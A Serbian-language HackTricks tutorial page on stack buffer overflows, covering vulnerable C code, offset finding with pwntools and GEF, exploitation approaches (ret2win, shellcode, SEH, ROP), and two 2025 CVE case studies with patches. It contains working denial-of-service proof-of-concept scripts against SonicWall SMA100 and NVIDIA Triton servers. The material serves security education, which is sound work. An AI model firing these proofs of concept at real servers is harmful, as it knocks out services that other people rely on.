Stack Overflow
Reading time: 9 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Šta je Stack Overflow
stack overflow je ranjivost koja nastaje kada program upiše više podataka na stack nego što je za to alocirano. Ovaj višak podataka će prepisati susedni memorijski prostor, što dovodi do korupcije validnih podataka, poremećaja kontrolnog toka i potencijalno izvršavanja zlonamernog koda. Ovaj problem se često javlja zbog upotrebe nesigurnih funkcija koje ne vrše proveru granica nad ulazom.
Glavni problem ovog prepisivanja je što su sačuvani instrukcioni pokazivač (EIP/RIP) i sačuvani bazni pokazivač (EBP/RBP) koji služe za povratak u prethodnu funkciju smešteni na stacku. Dakle, napadač će moći da ih prepiše i kontroliše tok izvršavanja programa.
Ranjivost se obično pojavljuje zato što funkcija kopira na stack više bajtova nego što je za to alocirano, omogućavajući time prepisivanje drugih delova stacka.
Neke uobičajene funkcije koje su ranjive na ovo su: strcpy
, strcat
, sprintf
, gets
... Takođe, funkcije poput fgets
, read
i memcpy
koje prihvataju argument dužine, mogu biti korišćene na ranjiv način ako je navedena dužina veća od alocirane.
Na primer, sledeće funkcije mogu biti ranjive:
void vulnerable() {
char buffer[128];
printf("Enter some text: ");
gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
}
Pronalaženje offseta za Stack Overflows
Najčešći način da se otkriju stack overflows je da se unese veoma veliki ulaz sastavljen od A
s (npr. python3 -c 'print("A"*1000)'
) i očekuje Segmentation Fault
koji ukazuje da je pokušano pristupiti adresi 0x41414141
.
Pored toga, kada utvrdite da postoji Stack Overflow ranjivost, moraćete da pronađete offset do trenutka kada je moguće overwrite the return address; za to se obično koristi De Bruijn sequence. Za zadati alfabet veličine k i podnizove dužine n, to je ciklični niz u kojem se svaki mogući podniz dužine n pojavljuje tačno jednom kao kontinualni podniz.
Na ovaj način, umesto da ručno pokušavate da odredite koji offset je potreban za kontrolu EIP-a, moguće je koristiti kao padding jedan od ovih nizova i zatim pronaći offset bajtova koji su završili overwriting it.
Moguće je koristiti pwntools za ovo:
from pwn import *
# Generate a De Bruijn sequence of length 1000 with an alphabet size of 256 (byte values)
pattern = cyclic(1000)
# This is an example value that you'd have found in the EIP/IP register upon crash
eip_value = p32(0x6161616c)
offset = cyclic_find(eip_value) # Finds the offset of the sequence in the De Bruijn pattern
print(f"The offset is: {offset}")
ili GEF:
#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp
Eksploatacija Stack Overflows
Tokom overflow-a (pod pretpostavkom da je veličina overflow-a dovoljno velika) moći ćete da prepišete vrednosti lokalnih varijabli unutar stack-a sve dok ne dođete do sačuvanih EBP/RBP i EIP/RIP (ili čak i više).
Najčešći način zloupotrebe ove vrste ranjivosti je izmena return address-a tako da kada funkcija završi tok izvršavanja bude preusmeren tamo gde je napadač odredio u ovom pokazivaču.
Međutim, u drugim scenarijima možda je dovoljno samo prepisati vrednosti nekih promenljivih na stack-u za eksploataciju (npr. u lakim CTF izazovima).
Ret2win
U ovom tipu CTF izazova, u binarnom fajlu postoji funkcija koja se nikada ne poziva, a koju morate pozvati da biste pobedili. Za ove izazove potrebno je samo pronaći offset za prepisivanje return address-a i adresu funkcije koju treba pozvati (obično je ASLR onemogućen) tako da kada ranjiva funkcija vrati kontrolu, skrivena funkcija bude pozvana:
Stack Shellcode
U ovom scenariju napadač može postaviti shellcode u stack i iskoristiti kontrolisani EIP/RIP da skoči na shellcode i izvrši proizvoljan kod:
Windows SEH-based exploitation (nSEH/SEH)
Na 32-bit Windows-u, overflow može prepisati lanac Structured Exception Handler (SEH) umesto sačuvane adrese povratka. Eksploatacija obično zamenjuje SEH pokazivač sa POP POP RET gadget-om i koristi 4-bajtno nSEH polje za kratak skok koji pivota nazad u veliki buffer gde se nalazi shellcode. Uobičajen obrazac je kratak jmp u nSEH koji se završava na 5-bajtnom near jmp-u postavljenom odmah pre nSEH da bi se skočilo stotinama bajtova nazad na početak payload-a.
ROP & Ret2... techniques
Ova tehnika je osnovni okvir za zaobilaženje glavne zaštite prethodne tehnike: No executable stack (NX). Takođe omogućava izvođenje više drugih tehnika (ret2lib, ret2syscall...) koje će na kraju izvršiti proizvoljne komande zloupotrebom postojećih instrukcija u binarnom fajlu:
ROP - Return Oriented Programing
Heap Overflows
Overflow nije uvek na stack-u, može biti i u heap-u, na primer:
Tipovi zaštite
Postoji nekoliko zaštita koje pokušavaju da spreče eksploataciju ranjivosti, pogledajte ih u:
Common Binary Exploitation Protections & Bypasses
Real-World Example: CVE-2025-40596 (SonicWall SMA100)
Dobar primer zašto sscanf
nikada ne treba verovati za parsiranje nepouzdanog inputa pojavio se 2025. u SonicWall-ovom SMA100 SSL-VPN uređaju.
Ranjiva rutina unutar /usr/src/EasyAccess/bin/httpd
pokušava da izdvoji verziju i endpoint iz bilo kog URI koji počinje sa /__api__/
:
char version[3];
char endpoint[0x800] = {0};
/* simplified proto-type */
sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
- Prva konverzija (
%2s
) bezbedno skladišti dva bajta uversion
(npr."v1"
). - Druga konverzija (
%s
) nema specifikator dužine, zato ćesscanf
nastaviti da kopira dok ne naiđe na prvi NUL byte. - Pošto je
endpoint
smešten na stack i ima 0x800 bytes, prosleđivanje puta dužeg od 0x800 bytes korumpira sve što se nalazi posle buffer‑a — uključujući stack canary i saved return address.
Jednolinijski proof-of-concept je dovoljan da izazove pad pre autentifikacije:
import requests, warnings
warnings.filterwarnings('ignore')
url = "https://TARGET/__api__/v1/" + "A"*3000
requests.get(url, verify=False)
Iako stack canaries abort the process, napadač i dalje dobija Denial-of-Service primitiv (i, sa dodatnim information leaks, moguće code-execution). Lekcija je jednostavna:
- Uvek obezbedite maksimalnu širinu polja (npr.
%511s
). - Preferirajte sigurnije alternative kao što su
snprintf
/strncpy_s
.
Real-World Example: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)
NVIDIA’s Triton Inference Server (≤ v25.06) je sadržao više stack-based overflows dostupnih preko njegovog HTTP API.
Ranjivi obrazac se ponavljao u http_server.cc
i sagemaker_server.cc
:
int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
if (n > 0) {
/* allocates 16 * n bytes on the stack */
struct evbuffer_iovec *v = (struct evbuffer_iovec *)
alloca(sizeof(struct evbuffer_iovec) * n);
...
}
evbuffer_peek
(libevent) vraća broj internih buffer segmenata koji čine telo trenutnog HTTP zahteva.- Svaki segment uzrokuje da se 16-byte
evbuffer_iovec
alocira na stack putemalloca()
– bez gornje granice. - Zloupotrebom HTTP chunked transfer-encoding, klijent može primorati zahtev da bude podeljen na stotine hiljada 6-byte chunks (
"1\r\nA\r\n"
). To omogućava da sen
neograničeno poveća dok se stack ne iscrpi.
Dokaz koncepta (DoS)
#!/usr/bin/env python3
import socket, sys
def exploit(host="localhost", port=8000, chunks=523_800):
s = socket.create_connection((host, port))
s.sendall((
f"POST /v2/models/add_sub/infer HTTP/1.1\r\n"
f"Host: {host}:{port}\r\n"
"Content-Type: application/octet-stream\r\n"
"Inference-Header-Content-Length: 0\r\n"
"Transfer-Encoding: chunked\r\n"
"Connection: close\r\n\r\n"
).encode())
for _ in range(chunks): # 6-byte chunk ➜ 16-byte alloc
s.send(b"1\r\nA\r\n") # amplification factor ≈ 2.6x
s.sendall(b"0\r\n\r\n") # end of chunks
s.close()
if __name__ == "__main__":
exploit(*sys.argv[1:])
Zahtev od ~3 MB je dovoljan da prepiše sačuvanu povratnu adresu i crash daemona na podrazumevanoj kompilaciji.
Zakrpa i ublažavanje
Izdanje 25.07 zamenjuje nesigurnu alokaciju na steku sa heap-backed std::vector
i elegantno obrađuje std::bad_alloc
:
std::vector<evbuffer_iovec> v_vec;
try {
v_vec = std::vector<evbuffer_iovec>(n);
} catch (const std::bad_alloc &e) {
return TRITONSERVER_ErrorNew(TRITONSERVER_ERROR_INVALID_ARG, "alloc failed");
}
struct evbuffer_iovec *v = v_vec.data();
Naučene lekcije:
- Nikada ne pozivati
alloca()
sa veličinama koje su pod kontrolom napadača. - Chunked requests mogu drastično promeniti oblik buffera na strani servera.
- Validirajte / ograničite svaku vrednost izvedenu iz ulaza klijenta pre nego što je upotrebite u memorijskim alokacijama.
Referencije
- watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)
- Trail of Bits – Uncovering memory corruption in NVIDIA Triton
- HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.